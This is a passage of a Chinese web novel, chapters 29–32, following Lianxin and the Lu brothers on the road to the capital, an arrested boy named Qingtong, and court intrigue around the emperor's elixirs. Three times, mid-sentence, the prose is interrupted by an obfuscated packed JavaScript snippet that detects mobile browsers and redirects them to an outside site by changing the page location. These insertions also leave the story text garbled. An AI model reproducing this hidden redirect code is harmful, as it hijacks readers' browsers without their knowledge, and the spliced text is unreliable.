陆夫人盛怒去踢，但毕竟是恨不得掏心掏肺的儿子，饶是气愤难耐但也没下狠手，只在那枣红色的袍子上留下道浅浅的鞋印。 “娘！” 生生受了这一记的陆时安哪里肯放过，红着眼就往母亲怀里扑，一声撒娇过后，陆夫人无可奈何但也没了脾气，只愤愤地轻捶了下他的背。 于是，陆时安又得寸进尺地继续道。 “哎——对了，娘，孙家那边有没有找人来说媒啊？” 怎料这不问倒还好，一问更是戳中了陆夫人的痛楚，连体面都顾不上，扯着儿子的衣袖就是一串斥责。 “让你读书你不好好读，比起这些来倒来了心气！你如今才十七，没有一官半职傍身还算罢了，竟想要娶个商户之女进门，你这脑子是被门给挤了吗？” 这下陆时安也不干了，他向来就是想一出是一出的脾性，别人越是反对他就越来劲，也伸着脖子出言辩驳。 “商户怎么了，大嫂还是镖局出身呢，你们不也那么满意？” 说完他又觉得不够，继续补充，“再者说孙家那是江州城实打实的首富，而且我也告诉你们，我这辈子非她不娶。你们要是还拿门第那些规矩压我，就等着我打一辈子光棍吧！” “你这混小子，好啊，那我也告诉你，只要你娘我还有一口气，你就给我断了这个念头。宁可你打一辈子光棍，我也决不许这般出身的女子进门！” 陆夫人目眦欲裂，嗓音格外尖锐刺耳，显然是被气得不轻。 眼瞧着气氛进入了白热化，母子双方你来我往，彼此半分不让，这时候一直沉默的陆大人，终于一摆衣袖，沉声开了口。 “行了，若开春能取个名次，就许你抬回来做妾。” 29. 进京 旧的一年在炮竹的“噼里啪啦”声中燃尽，新的一年便缓缓而来。 新春浓厚的氛围还没有散尽，莲心他们便收拾好了行囊，踏上了入京的旅程。 陆时礼和陆时安自不必说，除了满满一叠的书卷外，还各自带了书童侍从两名，因着近一个月的行程，所以早早出发进京准备。 本来这次莲心是不被允许一同前去的，可念在她在京城唯一的远房表叔托人来信，想要莲心赶来参加六十寿宴，饶是陆夫人再不情愿，也只能看在陆大人的许可上也应允下来。 就这样，望着车窗外淡淡的薄雾，莲心托着腮轻叹一声，不论如何，终于还是可以到京城好好查上一番了。 “好端端的怎么又叹气了？” 车厢内的陆时礼在小桌案上摆好了码放得整整齐齐的点心，又给她杯里到了清茶，笑道，“这几样点心不禁放，不抓紧吃等在路上想买可都买不到了！” 吃吃吃，莲心撇了撇嘴，心道她有那么馋嘛，走到哪都要吃到哪。 心里虽然这么想，但身体还是很诚实地往食物附近移动，毕竟在她看来，没人能够抵挡现烤出来的芋头酥的诱惑。 果然，刚吃下两块，前面歇脚进食的陆时安便下了轿，径直掀开帘子一角探进了头，眼睛直勾勾地望向桌上吃了一半的点心。 “有什么事吗？”莲心饮了口茶，见他举目四顾，有些诧异地问。 陆时安显然有些不好意思，但又实在抵挡不了美食的诱惑，艰难地从芋头酥上移开目光，看了眼面色平和的兄长，又看了眼莲心，咬了咬牙还是说出了来意。 “兄长嫂子好，我来是想问问，这个点心可否……分我一块？” 说实话陆时安相貌也并不差，虽不比父兄端正俊秀，但浓眉大眼自有几分少年的轻狂。 特别是那双又大又圆的眼中满是讨好，来回眨动间不禁让莲心想起了在学堂中的幼弟，这么一想不由得忍俊不禁起来。 不仅莲心“扑哧”一下笑出了声，连陆时礼都破了功，抬起右拳挡在唇前掩盖按捺不住的笑意。 那个传言里风流纨绔的二世祖，若非今日亲眼所见，怎么着也不会与眼前这个可怜巴巴求点心吃的少年联系起来。 “自然可以，喏，给你两块，这个点心有些噎人，吃的时候最好配着茶。” 莲心拣出两块放在碟上递了过去，像对待弟弟莲生一样，柔声出言嘱咐。 “诺夕本来还说要带着点心来送我，看来又是被她爹给拦住了”，陆时安微红着脸，声音又高了几分，端着碟子朝莲心挥了挥。 “不好意思打扰你们了，你们吃着，我就先回去了。” 无须多言，莲心猜出他定是想到了无法为他送行的孙小姐，回道，“等你这次回来，想必孙小姐肯定会带着点心来迎接你，分别也是为了更好的相遇嘛。” 听她这么说，陆时安只挠了挠头，并没有再开口，就托着点心碟子离开了。 直到帘子被重新放下，莲心又捡了块红豆饼咬了一口，才后知后觉注意到陆时礼望下自己那若有所思的目光，疑惑地问。 “怎么，我脸上粘了什么奇怪的东西吗？” 她这幅懵懂的神情总能戳中陆时礼的心房，有时候他也会很好奇，为什么挺精灵伶俐的少女，总会在吃东西的时候露出小迷糊的表情。 心不由得跟着一软，他又倒了杯茶推过去，柔声问，“是不是觉得我这个弟弟和传言中的大不一样？” “嗯，总觉着有点傻气”，莲心啜了口茶继续道，“而且看他与孙小姐的感情，似乎也不像传言中那样花心，倒还挺为爱执着的。” 说实话，在没见到本人之前，莲心先入为主地以为他会是个典型的纨绔子弟，在陆夫人的溺爱的纵容下长大，不说横行霸道，也是傲慢无礼。 但这几日的相处让她有了巨大改观，并隐隐为自己的刻板印象抱歉，至少从目前种种来看，陆时安称不上一个坏人，更不算是个需要戒备的对手。 “确实，我这个弟弟本性不坏”，陆时礼随手拿起一卷书，边翻边说，“但归根结底，终究和我们不是一路人。” “也许你会疑惑我为何总对他淡淡，那是因为既已知晓分别，始终保持一段距离，往后才不会过于苦痛。” 同行千里，终须一别，万一刀刃相向，至少彼此还不会过于挣扎，各自守住自己的立场。 莲心没有想到那么多，只以为他是说陆夫人那层缘故，轻轻拍了拍他的手背以示安慰。 就在这时，寂静的小路上突然响起了杂乱的脚步声，隐隐还能听到几声凄厉的喊叫。 “少爷，应当是官军清剿流匪，与咱们无关。” 正当时，安澜那平稳的声音在窗边响起，两人掀帘去看，果真见着两个捕快装束的人压着个衣衫褴褛的男子，从路旁半人高的枯草堆中走出。 “嗯”，陆时礼一手勾着帘子，示意安澜可以退下，随即扭回头轻声问莲心，“要去看看吗？” 官兵清剿流寇是常有的事，但不知为何，莲心总觉着那人的背影有些眼熟，见陆时礼眼中也有同感，心中疑虑更深。 “等下”，陆时礼率先下了马车，莲心却没有直接搭着他的手下去，而是将那把短刀插在腰间，又用大氅小心掩好，才虚握着他的手臂灵巧跃下。 她眨了眨眼，凑到他耳边小声道，“防患于未然嘛。” 显然想要看个究竟的，并不止是他们两人，等他们到的时候，陆时安已经环抱着手臂与那两个捕快对峙起来了。 “陆小公子，我们也都是奉命行事，既然非亲非故还请您行个方便，莫要为难我们。” 两个捕快看着年纪都过三旬，其中一人冲陆时安拱了拱手，言辞之间颇为无奈，想来因着不想得罪陆大人，已经按捺住了诸多不耐。 “且慢——” 见陆时安半天没有回应，两人以为是被自己说通，刚要压着人往前走，迎面就被莲心他们挡住了去路，脸上更是难掩焦急。 陆时礼收回拦住的手，春风和煦地一笑，问。 “这小哥儿是我们那条街云吞铺子的小伙计，平日里也不少打交道，算是个稳妥踏实的。不知是犯了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295427|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么重罪，需要二位千里迢迢前来逮捕？” 见他衣着华贵又谈吐不凡，两个捕快清楚又是个自己惹不起的人物，饶是心中再多不耐，也值得挤出笑容细细回答。 其中一个长脸的嘴快些，抢先道，“他没犯事，可他爹是起义团里的一个小头头，官府军吃了败仗没逮到他爹，自然只能抓他来当诱饵。” “当诱饵？” 他话音刚落，便听到不远处一声轻蔑的冷哼，陆时安双手交叉白了他一眼，嘲讽道。 “刚才分明跟我说的是拿他当替死鬼，现在我大哥问，你们又说是当诱饵。不是我说，你们穿着官服看着道貌岸然的，嘴里到底有没有一句实话？” 被揭了老底的两个捕快面色一暗，齐齐低垂着头，都不知道该如何作答。 也就在这时，那个满身满脸都沾满泥土的少年似有所感地抬起了头，正巧对上莲心探寻的目光，瞳孔忽地一缩。 短短一瞬，似有万语千言。 莲心迅速领会，附在陆时礼耳畔小声说了想法，只听陆时礼上前一步，朝两人恭敬地拱手一揖。 “家弟言行不多斟酌，还起二位见谅”，他低头状似无意地看了眼被五花大绑的少年，笑问道。 “我娘子最喜他家的云吞，这段时日两人也成了异姓姐弟，但法理无情我们也不好为难。不知二位兄台可否行个方便，让他二人说上两句话？之后我们便各自上路，就当没有遇见。” 见他如此请求，两个捕快互相对视一眼，犹豫片刻终都是点了点头。 “我们也只是奉命当差，还请少夫人抓紧时间，切莫闲话家常。”两人将那少年腕间的绳子松了松，临走前还不忘再三嘱咐。 莲心自然点头称是，待二人行至路边饮水，才凑近少年身旁，小声问道。 “你可是有话想与我说，你放心，倘若是我能帮的，都会尽力一试。” 很多农民加入起义团并非出自本心，总是出自生计抑或逼迫等种种无奈，但不论他父亲是真心还是被迫，这个从没参与的孩子总归是无辜的。 殊不知那少年定定看了她片刻，又坚定的摇了摇头，转而有些费力地挪动僵麻的手腕，似乎是想要从怀里取出什么东西。 “我爹没有反朝廷，他加入的也不是什么起义军，而是噬野教。” 因着急忙奔逃，少年的声音已是异常嘶哑，全然没有跑堂时那般欢快清亮，就在他说话的时间，已经从怀里取出个雪白的骨哨。 “我知道官府抓我只是做个把柄，但我有种预感，我爹那边情况应该不是很好。” 言罢他将那骨哨塞到莲心手里，“这是我和我爹的信物，你只要连吹三声哨子便能引来送信的苍鹰。还请你告诉我爹，江州已经不安全，千万不要再回来。” 莲心点了点头，问，“那你呢？” “他们一时半会应该不会杀我”，少年苦苦一笑，“不过我敢肯定，抓我的人肯定与噬野教那边脱不了干系。” 临别之际，莲心最后问道，“对了，还不知道你的名字呢？” “青童……” 30. 绍宁 愈往北行，愈发能感受到空气的干冽与刺骨。 这不，才行出大半个月的时间，河南两岸的景象就形成了极为鲜明的对比。 大河南岸暖阳照地，柳树遒劲的枝杈随风摆动，虽是冬日但却没有多少肃杀，反倒多了些长路清晖的旷达之感。 然而一旦上桥过江，莲心他们触目所及的，便是截然不同的一番景象。 不同于大河南岸纵横交错的枯枝残柳，北岸道路两侧立着的，均是苍翠挺拔的青松，空中洋洋洒洒落下薄薄细细的雪花，有几滴晶莹点缀其上。 青松白雪，不点而成，自有河北之地特有的豪放不屈。 “嚯——，两年没上京，一路上这雪倒是越下越大了！” 同一分叉路口，三辆马车两前一后经过，莲心他们奔了左侧主官道而去，而后面那辆漆木描金顶的则择了右侧的小路。 光看马车足以知晓主人身份不俗，只见颗颗拇指般大小的莹白珍珠串成的珠帘中，探出一只修长有力的手，一片雪花纷扬而下，刚好落在生着老茧的虎口处。 “瑞雪兆丰年，京城的雪下了又下，想必定是陛下的请罪感动了上天，今年终于不用灾荒瘟疫横行了。” 说话的是位年过四旬的孔武男子，一身藏青色的武士服配上那张棱角分明的黝黑面容，都不消拔出腰间半尺来长的钢刀，足矣生着震慑四方的肃气。 “孙叔，早跟您说过妄议天子乃是大不敬，当下仅咱们几人也就罢了，到了京城可万万莫要再鲁莽行事了。” 珠帘被手指轻巧拨开，几声撞击的清脆响声中，从车窗内露出少年半张俊朗的侧脸，剑眉入鬓，目若朗星，仅一眼便可想到千军万马。 这世间俊逸的男子有多种，可以是温润如玉的谦谦君子，抑或是处变不惊的才子英豪，可还有一种，既不似清茶般甘洌，又不如陈酒之香醇。 一颦一笑，尽是少年人特有的意气风发。 或许也唯有经历过战场上真刀真枪的搏杀，才能真正具有文人墨客笔下的神韵，杀伐果断又轻松自如，一如这个仰头畅饮的少年。 少主说得是，瞧我真是老糊涂了，总也管不住这个嘴，该罚该罚……” 说来也怪，这少年不笑时棱角分明含着些生人勿近的气场，可只要微微勾起唇，饶是仍留有几分淡淡的痞气，但却有着股莫名的亲和力。 “您说这话就见外了，出门在外侄儿还得处处仰仗您呢”，见前面赶马的老孙抬手拍了下嘴，他笑声朗朗，“咱俩谁跟谁，面儿上事就不必做了吧！” 空旷的山野间惊起三两只贪食的鸟儿，若是此刻有路人经过，怕是很难将这谈笑生风的叔侄两人，与勇武远扬的靖远少将军和他的老副官联系起来。 镇，有平定之意，封赐“镇远”二字，很明显是被帝王给予了身后的期望。 “我还想着赶赶脚程，争取今晚到京畿寻个客栈过夜。现在瞧这样子，也只能沿途找个小店再凑活一晚了。” “无妨，反正也不急这一两日”，少年轻声宽慰道，“死人堆都躺过，您可莫要再把我当孩子金贵，现在咱是到京城卖香料的商户，您直接唤我堂侄就好。” 听他这么说，牵着马缰的老孙怔了瞬，终还是抿着嘴点了点头。 作为跟现任江州水军总督齐淮历经生死的老副官，对于齐绍宁这个侄子他是当作亲生儿子来看待，虽然军中免不了生死搏杀，但只要没打仗，他总不想这孩子遭半点罪。 所幸几场大战过后，因着陛下的休战之意，老将军强压着这个独子从军中出来，接手了风月楼的生意。 虽然那里鱼龙混杂也不是安身良所，但比起刀光剑影的军中，也算让他能够松一口气。 只不过…… 老孙用力甩了下马鞭，转头刚好看见齐绍宁仍靠在窗边，单手托腮望着道路两旁疾驰而过的景象，低声长叹了一口气。 自己的这个侄儿哪里都好，就是心中想要背负的太多，帝王无道，乱世将起，万般种种又哪里是他一个少年人可以扭转的？ 怕就怕与虎谋皮，在黑暗中太久，就算有一日想要从中脱身，也是落入深渊，无法回头了。 雪花纷飞间，齐绍宁也望着前方的漫漫长路，极轻极浅地笑了一声。 纵使明知身下是万丈深渊，他也要循着认定的那束光，拼尽全力走下去！ “你们听说没有，之前那条开了个头的南仓道前几日又开始动工了，看这架势，南边是不又要打仗了？” 紧赶慢赶地，莲心他们终于找到了一家隐在路旁的小店，刚好还剩下三间房，睡眼惺忪的小伙计打了个哈欠，一手举着烛台，低头在腰间的钥匙环上来回翻找。 这时候，等在柜台的莲心忽然嗅到股浓浓的酒气，侧头一看，那个刚才问友人是否要打仗的黑脸汉子，不知何时拿着个酒壶，摇摇晃晃地凑了上来。 见莲心注意到自己，此人又仰头灌了口酒，随后竟一咧嘴嘿嘿笑了起来，浑浊的眼珠还不时在莲心他们几人中左左右右来回打转。 “哥儿几个是外地来的吧，不知道这一道是往南还是往北呢？” “哎呦，老胡，怎么一个不留神跑这来了？” 不远处的桌旁跑过来一个年岁相仿的男子，一边将这醉酒汉子往回拽，一边堆起笑脸朝几人赔着不是，“几位不好意思，我这兄弟喝多了酒失了分寸，我先在这儿赔个不是了”。 然而那汉子仍是不依不饶，拼命挣扎，嘴中还不停地问，“南边……是不真像传言那样，乱得不成样子了？” 突如其来的一场闹剧刚结束，没成想一场风波又紧随其后而来。 小伙计好不容易从一堆锈迹斑斑的钥匙中选出三串，可还没等莲心的手将其捂热，身后就传来一声嘶哑的怒喝。 “分明日落时分就跟你订了两间上房出来，怎么现在连一间普通的都没有了？” 问话的是个身姿魁梧的黑脸汉子，即使忽略挂在腰间那把半尺来长的钢刀，都能感受到那浓浓的肃杀之气。 更别提此刻，他蒲扇般的大手按在刀柄的位置，黑而浓的长眉拧成了八字，仿佛随时都能将身子骨瘦弱的小二一脚从屋子正北踹到正南。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304126|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您先消消火，这……主要是您只口头说了一句，没交押金不说那时候又正赶上饭口，我这一忙活就给……” 小伙计抹了把额头上细细密密的汗，迫于那双威严的目光不敢抬头，只得将头埋在灰扑扑的衣襟里继续嗫嚅道。 “喏，正好方才定了最后三间房的客人还没走，要不……劳烦您跟他们商量商量，看能不能匀出一间来给您二位？” 当下这种境况，这确实是唯一比较可行的办法了，作为方圆十里唯一还能住宿的驿站，倘若这也行不通，也就只能风餐露宿一宿了。 正好这时哼着小曲儿的莲心经过，抬眸扫了眼一脸惊惧的小伙计，又看了看旁边凶神恶煞的中年汉子，若有所思地眯了眯眼。 “喏，这间房可以让给你们，不过这银钱得给我返回来。” 见她这般爽利，那黑脸汉子面色也有所缓和，从怀中掏出一个银锭，冲着她拱了拱手。 “多谢小兄弟仗义相助，一点心意，还请千万要收下。” 从他言行举止看，莲心还以为是个从过军的家仆，没想到竟如此财大气粗，也没有客气收下了那个银锭，也回了一礼。 随后她也没有过多逗留，不知为何总觉得这汉子周身散发着淡淡的杀气，不怒而威的气场，听她父亲说，只有在战场经过生死搏杀才会如此。 上楼的时候，等在楼梯口的陆时礼破天荒地拍了拍弟弟的肩膀，指了指他挂在指尖的钥匙，道。 “马上就要科考，今晚开始便要挑灯夜读，我监督你。” “监督？” 陆时安就像被猜中了尾巴的猫，一下子窜起老高，饶是尽量将声音压低，也难以掩盖住其中满满的惊愕与诧异。 “你要……怎么监督我背书啊？” “很简单，整日同进同出，除了吃睡剩余时间都互相监督背书。” 听了这话，无疑是对陆时安的一记暴击，他恨恨地咬了咬牙，但想到和父亲的约定，为了终身幸福还是忍了下来。 “行吧，背吧背吧，我还不信就不信邪了，区区一个科举还能次次不中？” 见他走到前面去拿钥匙开门，陆时礼朝莲心眨了眨眼，随后将自己的钥匙递了过去，轻声道。 “夜间风凉，关好门窗早些歇息。” 莲心点了点头，转过身向对面的空房走去，殊不知有双迫人的目光，从掀开小店帘子进门后便一瞬不瞬落在自己身后。 门一落锁，虽然表面看起来破旧不堪，但却有着意想不到的隔音效果。 了却一桩事故的小伙计又掩着嘴打了个哈欠，猫着腰又回到了柜台后面强撑眼皮。 大厅内的黑脸汉子不是别人，正是那个赶马的老孙，而在后院安置好车马的，便是他一路护送入京的齐绍宁。 “堂侄……，幸好那小兄弟心眼儿善，给咱留了间房，行了一天路，先进去歇歇脚吧。” 听老孙这样说，齐绍宁点了点头，只是在走到那间房门前，唇畔勾起抹不易察觉的笑。 那哪里是个小兄弟，分明是位乔装打扮的姑娘嘛！ 31. 萧钰 几百里之外，京都。 由青砖层层垒起的清心殿内青烟袅袅，连檐上那两只飞龙的周身都被烟雾包裹，乍一看倒真不似人间之所，而有了几分天界仙宫的味道。 雾霭沉沉，难怪能让当朝天子流连忘返，不仅直接将这里当作了寝宫，还能在内忧外患之际潜心修道，将国政要事一股脑儿全都交给亲信重臣，心安理得地做个甩手掌柜。 但细细看来，人间就是人间，哪怕以青砖作壁，以松柏为顶，终究还是免不了要沾染凡尘俗事，怎么也成不了那人间仙境。 云锦制成的祥云靴踏过薄薄的一层白雪，发出“咯吱”的几声清响，身着道袍手握浮尘的清瘦道童循声而望，随即恭恭敬敬地俯身行礼。 “见过马千岁。” 所以你瞧，虽说人人都想得道成仙摒弃凡尘俗事，可身在凡尘之中，想要摒弃又谈何容易呢？ 迎面而来的是现任内务府总领的马富，身后跟着的是一众亲信内宦，对着小道童的行礼也未扫一眼，只是径直朝向身后紧闭的大门走去。 眼见着用水墨画满山水名胜的梧桐木门将被推开，小道童心一横，赶忙小跑着挡在门前，清瘦稚嫩的小身板儿因恐惧还微微打着颤。 “陛下尚在练功闭气，师傅有令，留我在此看守，未时之前不得打扰，还请马千岁见谅！” 按理说这位马千岁作为一介内宦，既不博学又不善武，别说在成为一代权臣，哪怕想要站稳脚跟都是相当困难的。 而他刚年过三旬便能走到这一步，其中很大程度都是因为在修习长生之法上颇有心得。 特别是近两年陛下身子愈发不爽，对于死亡的恐惧与对于凡尘的留恋，都成为了天子崇尚丹药的诱因，而马富也就在这时顺势而起。 东倭的蓬莱岛虽然没有去上，但他又不知从何处请到了这位博岸法师，几服丹药下来，陛下虽说没有身轻如燕，可这精神却果真肉眼地好了不少。 于是乎，博岸法师自然成了天子亲封的一国天师，而作为引荐人的马富也立下大功，理所当然地成为了权力仅在一人之下的内务府统领，掌管着包括羽林卫在内的京军精锐。 生杀予夺，一念之间，当如是也…… 这不，饶是他并未开口，只是面无表情地投来目光，便足矣令小道童浑身打颤。 寻常修仙之人最先要摒弃的就是凡尘杂念，因此无论道行如何，身上的戾气都是极淡极淡的。 可这位马千岁却全然不同，哪怕当下一袭素灰道袍，也无法掩盖住周身浓厚的肃杀之气，特别是他的一双虎目，总是居高临下的俯视，带着让人胆寒的压迫之感。 只消一瞬，小道童觉着后背一阵寒凉，不用想，定是冷汗将棉道袍完全打湿。 “如此啊，那杂家就在此等……” “信王殿下到——” 话未说完，院门处就传来内宦高昂的嗓音，马富随即转身行礼，其后一众内宦也跟着叩首问安。 “免礼。” 小道童也趁机偷偷抬起头，只露出缩在道袍外的一双大眼睛咕噜噜转着，不知为何，只要有信王殿下在，他们这些无名小卒总是能够放下心来。 有些时候，他觉着那些平日里燃香炼丹的虔诚信徒，反而都不如一向置身其外的信王领悟得通透。 而且，就像宫人所说，素衫胜雪，螓首蛾眉，今年刚及弱冠的信王殿下仅仅是临风而站，就生来有着超脱之姿。 “眼下赈灾之事正在关键，不知信王殿下拨冗前来可是有要事？” 果然，方才还半分不动、咄咄逼人的马千岁，在看见这位陛下一母同胞的信王殿下时，也收敛了周身的煞气，言辞也颇为小心谨慎。 但信王殿下之所以在朝中备受尊敬，除了他独到的眼界外，更重要的，是他为人处事的心性。 公正不阿，刚正果断，当然朝中秉持这般准则的官员不少，可真正能一以贯之的，只有包括他在内的少数。 作为帝王倍加信任的手足，能够始终心系苍生，在这时亲自主持最为困难的赈灾事宜，并能在短短两个月的时间救济尽一大半灾民，稳定朝野上下的动荡局势，属实极为难得。 正所谓“人无完人”，自古少年英豪多自傲，而这位信王殿下也未能免俗，不过也正因为这一腔傲气，更使得朝中诸多大臣倍加欣赏。 “怎么，莫非连本王与皇兄的闲谈私事，都要详细地说与马统领听？” 此言一出，两边侯在其后的内宦侍从们都屏住了呼吸，虽说信王殿下向来刚直惯了，但对面毕竟是圣宠在眷的马千岁啊。 神仙打架，凡人遭殃，位高权重的大人物间置了气，很难说不拿他们这些小虾米开刀啊！ 信王殿下性情仁义还好说，可那位一路腥风血雨上来的马千岁就不好说了，于是，其中一位资历较老的内宦思虑再三，准备上前打个圆场。 就在这时，没想到马富竟仰头笑出声来，那笑声如架在火炉加热的水声，先是低沉暗哑，慢慢越来越响的同时也更加尖锐，透着随时会灼伤旁人的危险。 “哈哈哈……，信王殿下说笑了，老奴不过是随意问候一句，并无其他意思。反正这边也是些无关痛痒的小事，不打扰您与陛下谈事，老奴就先告退了。” 说罢他带头对信王行了一礼，而信王也没有多加表示，只是轻轻点了下头，随后就收回了视线，眼看着未时已到，便在小道童的牵引下进了殿里。 同一时间，莲心他们经过一路上的长途跋涉，也终于是踏进了京城的城门。 陆时安刚来过不久，见街头巷尾人来人往，与上次迥然不同，不禁连声啧啧称奇。 “哎呦呵，这才短短两个来月的时间简直变了个大样儿！你们是不知道，上次我和爹来的时候这街边都是要饭的乞丐，现在想要找都找不见几个了。” “可不是”，旁边有个提筐的妇人经过，声音之中不无喜悦，“多亏了信王殿下心慈仁厚，每三日开仓赈济灾民，要不然别说要饭了，连活过这个冬天都是问题！” “开仓济粮确能解一时之急，但长远来看却也并非良策啊……” 听陆时礼低声感慨，一个挑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331677|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扁担的汉子也止住了脚步，跟着长长抬了口气，拍着陆时礼的肩膀道。 “要不还得是你们读书人想得远呢，不过我们这群人都饿怕了，有一口粮食撑着就知足。都是过了今天没明天，想不了那么多了啊……” 饥荒，瘟疫，单拎一个出来都是让百姓闻风丧胆的，更何况叠在一起持续了长达三年呢？ 再加上匪徒与民团的动乱，起初还有为了将来奋力一搏的念头，可现在有上顿没下顿，已经没有再为之挣扎的力气和心劲了。 原本以为福州一带因倭寇入侵已成人间炼狱，没成想到了京城，莲心才陡然发觉，底层的百姓无不都处在水深火热的境地之中。 比起死亡，还有夜以继日的担惊受怕，正如常言所说，“兴，百姓苦；亡，百姓苦”。 乱世之下，最直接影响到的，永远是为数最多的百姓。 右袖被轻轻拉住，耳畔传来陆时礼柔和的声音，“会好的，一切都会好起来的。” “呦呵，这还没考上个一官半职呢，就都这么心系苍生，真是令小弟佩服啊，佩服！” 听陆时安这样玩世不恭的话，作为兄长的陆时礼自然豪不客气地踹上一记，而陆时安躲过后仍咂巴着嘴，低声感慨。 “看现在这架势，入朝为官可不是什么好差事啊，这堆烂摊子处理得好还算罢了，但若处理不好，只怕……” 后面的话没有再说，但三人心里都明白，大曜的这场风浪正潜伏盘旋，远远没有平静。 清心殿内，一朝天子并未凝神聆听国事，反而仍旧虔诚地跪在蒲团之上，顺着道童递来的清晨甘露又服下一颗遍体通红的丹丸。 “皇兄，修仙长生并非数日之功，如此频繁服食丹药，恐会伤身啊……” 然而，面容苍白消瘦的天子只含笑摇了摇头，苏锦制成的道袍套在瘦可见骨的身上显得格外宽大空荡。 此刻他轻飘飘的声音响起，围荡在空旷的屋室之内，更显得格外含混，越发听不真切。 “阿钰，有些事情未到这一地步想来你也不会懂。若你像为兄这样病怏怏地活过一月，想来也会理解我如此渴望长生之道的心境啊！” 他的一番话说得凄切哀伤，一旁的信王面露不忍，但也没有表达肯定，只是握紧兄长那双瘦骨嶙峋的手，不轻不重地长叹了一口气。 “对了，再有半个来月便是春闱，又能给死气沉沉的朝中注入点鲜活气了！” 虽贵为一朝天子，但面对自己这个唯一的弟弟，终还是保留了寻常人家兄弟间的那种亲昵。 听兄长这样说，信王也敛去了几分愁色，开口道。 “是啊，现下正值用人之际，若能觅获几名治国良将，也可助我大曜早日度过难关。” 于是，强自麻痹自己沉浸在虚幻平静中的帝王，被弟弟这一句话给点醒，是啊，虽然开仓赈灾暂时稳定了局势，可属于大曜的威胁始终都在那里。 也就这样，他又缓缓阖上了眼。 便也没有再提及马富未能来报的，准备南下征讨东倭以前去蓬莱仙岛之事。 32. 周伯 到了一个新的地方，首先要做的，自然就是先觅食了。 干煸肥肠，焦香烤鸭，再配上壶热气腾腾的雪梨茶，简直香到了心坎里。 饶是灾荒未过，但只要有钱还是可以吃上丰盛佳肴，大快朵颐之际看到旁边经过几个灰扑扑的小乞儿，圆溜溜的眼珠直勾勾地盯着桌上那几盘食物。 莲心的心里忽然一酸，将刚拿到手里的鸭腿递了过去，几个小乞儿先是一怔，随后有个胆子大点的上前试探性地伸出手指碰了碰。 见莲心没有收回，他也不再拘束，直接将那肥厚的鸭腿握在手里，和身后的几个伙伴一起蹦蹦跳跳地往远处去了。 “哎——若是今年还闹旱灾，只怕那点存货吃完，咱们也只能用些菜包来果腹喽！” 听弟弟这样说，陆时礼也半真半假地跟着叹了口气，道。 “是啊，所以更得加把劲，否则真要到了那般境地，就凭你这名声怕是都无人给口饭啊……” “好啦，定不会到那一步的”，莲心又往嘴里灌了口雪梨茶，满足地咂巴咂巴嘴，“吃饱喝足二位就继续攻读书卷为国争光，我呢，也要着手要做的事了！” “哥，嫂子整日神秘兮兮的，你怎么也不管管？” “她自然是有正事要忙”，陆时礼也用手帕擦了擦嘴角，提起书娄站起了身，“若是有需要帮助的话她便会说与我，没什么管不管的。” 莲心闻言抬起头，正巧对上陆时礼的一双笑眼，心头微微一颤，也情不自禁地跟着笑了起来，“那我就先走啦，晚上见！” “好，路上小心”，陆时礼眉眼弯弯，也跟着挥了挥手，直到莲心的背影消失在转角，才满满地收回了手臂。 一旁的陆时安瞥了眼巷子口一晃而过的两道黑影，有些不忿地吐了吐舌头，“什么嘛，嘴上说给予自由，背地里还不是派两个暗卫在后面跟着。” 此时的陆时礼敛起了笑，飞扬的青衫宛若翻飞的水墨，不似刚才亲切柔和的神情，反而眼波沉沉，透着些老僧入定的清冷。 “监视和守护，从来都不是一个意思。算了，想来你也不会懂，今天要温的书还很多，赶紧吃，吃完抓紧回书斋。” 虽然都是隐于暗处，但前者是出于警戒，后者则是为了关怀。 可正所谓螳螂捕蝉黄雀在后，陆时礼这边以守护的姿态出现，却又焉知想要监视的人是否会假借守护的形象来伪装。 不过是由种种，到底还是要经历过才知。 “冰糖葫芦——串串现做香酥，五文一个十文两个喽！” 许是因为存放时间过长，饶是外面过了一层晶亮的糖衣，还是能够清晰地看出其中的山楂干瘪瘦小，但尽管如此，莲心还是掏出十文钱买了两根。 连年干旱，庄稼地里收成极少，眼前的老伯伸出黝黑遍布老茧的手颤抖着接过铜钱，一边挑出两串相对饱满的递过来，一边还不忘连声感谢。 “老伯不用客气，大冬天出来挑卖着实不易”，莲心咬开一口，嗯，比预想的要甜上一些。 刚要往前走，她突又想起什么，便转身问那位挑着糖葫芦边走边卖的老伯。 “请问老伯，这附近可有一家许记镖局？” 她之前其实也不算撒谎，她唯一的亲属，也就是表叔许匡海早些年从福州离开，靠着从前和苏父一起走镖的经验，独自在京城创办了一家许记镖局。 因着山高路远，这么多年来都再没了联系，这次莲心也是抱着试试看的想法，不管能不能寻求到帮助，来见见现在唯一的长辈也是好的。 